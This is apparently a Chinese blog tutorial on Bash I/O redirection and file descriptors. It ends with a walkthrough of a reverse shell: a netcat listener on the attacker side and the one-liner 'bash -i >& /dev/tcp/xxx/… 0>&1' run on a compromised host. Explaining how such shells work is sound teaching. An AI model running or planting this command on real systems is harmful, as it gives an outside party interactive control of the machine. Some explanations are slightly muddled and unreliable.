文章目录
BASH重定向
文件描述符
可理解为,文件描述符0为我们与计算机交互时的输入,此输入从键盘而来;文件描述符1为我们与计算机交互时的输出,该输出默认指向显示器;文件描述符2为错误信息输出,默认指向与文件描述符1相同,都为显示器。
| 文件描述符 | 名称 | 常见缩写 | 默认值 |
|---|---|---|---|
| 0 | 标准输入(STDIN_FILENO) | stdin | 键盘 |
| 1 | 标准输出(STDOUT_FILENO) | stdout | 屏幕(实质为用户终端) |
| 2 | 标准错误输出(STDERR_FILENO) | stderr | 屏幕(实质为用户终端) |
| 3-9 | 由程序自行定义的文件描述符,各个工具特有 |
一般重定向及特殊符号
| 序号 | 符号 | 解释 |
|---|---|---|
| 1 | | | 管道符,将上一个命令的输出作为下个命令的输入 |
| 2 | tee | 在不影响原本 I/O 的情况下,将 stdout 复制一份到档案去 |
| 3 | cmd > file | 命令的输出重定向,cmd的输出保存到file当中,覆盖,使用noclobber选项可以防止覆盖原有文件 |
| 4 | cmd >> file | 该命令的输出重定向,追加 |
| 5 | cmd < file | 输入重定向,该命令从file读取参数 |
| 6 | cmd << file | 从命令行读入,直到换行 |
| 7 | cmd <<< String | 将字符串(不是文件,且包含换行符)输入到命令当中作为输入 |
| 8 | cmd <> file | 以读写模式把文件file重定向到输入,文件file不会被破坏 |
| 9 | cmd > | file | 和>效果相同,且无视noclobber选项防止覆盖的效果 |
noclobber避免文件重写导致的覆盖,设置后,在重写文件时当文件存在时,详细使用方法
对文件描述符重定向
| 命令 | 描述 |
|---|---|
| cmd >&n | 把输出送到文件描述符n |
| cmd m>&n | 把输出到文件符m的信息重定向到文件描述符n |
| cmd >&- | 关闭标准输出 |
| cmd <&n | 输入来自文件描述符n |
| cmd m<&n | m来自文件描述符n |
| cmd <&- | 关闭标准输入 |
组合型的重定向
操作的主体是cmd
| 序号 | 符号 | 解释 |
|---|---|---|
| 1 | cmd 2>file | 将文件描述符2重定向到file,标准错误输出到file当中. |
| 2 | cmd > file 2>&1 | 把标准错误重定向到标准输出,再重定向到file,即stderr和stdout都被输出到file |
| 3 | cmd &> file | 同上 |
| 4 | cmd >& file | 同上 |
| 5 | cmd>file 2>&1 | 同上 |
| 6 | cmd > f1 2>f2 | 把stdout重定向到f1,而把stderr重定向到f2 |
| 7 | tee file1 | 把stdout原样输出的同时,复制一份到files中 |
| 8 | tee file1 file2 | 输出到标准输出两次,同时保存到file1和file2中 |
| 9 | 2>&1& | &表示该Bash在后台执行 |
注意:
- command
%>file当中,我们常用%>来定向输出,%时文件描述符,在默认情况下>等价于1>。
关于重定向需要重点强调的
1.&用于表示该文件所指向的文件或流(&句柄号),而不再是该文件本身
例子:一个是令文件描述符3指向了文件描述符1,另一个是令文件描述符3指向了文件描述符1指向的文件(即显示器)。
exec 3 > 1
exec 3 > &1
2.command %> file
重定向操作的主体是command
我们常用%>来定向输出,%时文件描述符,
在默认情况下 %>等价于1>,
默认情况下 %<等价于0<。
3.cmd 0>1和cmd >file 0>&1,文件和句柄
前者是0>1是将标准输入重定向到文件名为1的文件,不存在就创建
后者是将标准输入重定向到标准输出,不存在就创建
重定向符号>和<左右两侧的为不是流,而是文件或设备。
重定向符号>&和<&左右两侧表示不同流的句柄,使用&来与文件区别开,1表示一个名为1的文件(不存在则创建),而&1表示该文件对应的标准输出,可对特定的输入输出流或窗口进行操作。
0>&1
默认情况下,可以从键盘将命令输入(即 STDIN 句柄)发送到 Cmd.exe,然后由 Cmd.exe 将命令输出(即 STDOUT 句柄)发送到命令提示符窗口。
4.cmd >/dev/null 2>/dev/null
null文件读取为空,将输出流输出到null,会被自动丢弃。
cmd > /dev/null 2>&1,cmd的两种输出都输出到null。
交互式Bash
开启一个交互式的BASH
bash -i
反弹shell
顾名思义,将一个主机上的shell(命令行)反弹到另一个主机上
采用其他渗透手段,在对方主机(肉鸡)执行反弹Shell的命令,来在目标主机上执行来达到控制对方主机的目的。
使用场景:通过各种漏洞执行该命令,如反序列化、任意命令执行等,通常以各项漏洞的后继步骤出现。
效果:可控制对方Shell执行权限允许的任意命令。
以下为解读:
这条命令在各种漏洞的利用、反弹shell的场合见到。
首先,是 bash -c,c的含义是command,
bash -c "bash -i >& /dev/tcp/xxx/1234 0>&1"
除去最外层( 一般不必使用),继续分析,
bash -i >& /dev/tcp/xxx/1234 0>&1
bash -i创建一个交互式的Bash,
特殊文件/dev/tcp/xxx/1234,用于建立和xxx:1234的Socket(TCP协议)连接。
&>将标准输出和标准错误都重定向到/dev/tcp/xxx/1234中,效果等同>/dev/tcp/xxx/1234 2>&1和&>
bash的标准输出重定向到xxx:1234Socket连接的Socket连接上,
0>&1将文件描述符0重定向到文件描述符1,标准输入被重定向到标准输出。
综合解释是,首先&>使得标准输出重定向到了我们的TCP连接上,然后0>&1使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。
测试
攻击方
监听端口
nc -lvp 2333
被攻击方
反弹Shell
bash -i >& /dev/tcp/xxx/2333 0>&1

此时可以观察到攻击方的Shell已经转变为了对方的Shell
执行ls可以得到响应(此时读取的文件列表为对方主机上的)

对比开始和结束时的文件描述符指向,


可以看到,文件描述符的指向从/dev/pts/0指向了socket(也就是/dev/tcp/xxx/1234的功效)。
/dev/pts/0虚拟终端,打开一个终端,这个终端就叫pts/0,新开的终端以此类推pts/n,也就是说在开始阶段,文件描述符号均指向终端,表现为我们的输入输出均在终端可见且可操控。(使用who命令可以查看在线或在使用的终端。)
Q/A
问题1:
Q:管道和重定向有何区别?
A:管道是把一个程序的输出作为另一个程序的输入,重定向是把输出定向到文件或者标准流。
1212

被折叠的 条评论
为什么被折叠?



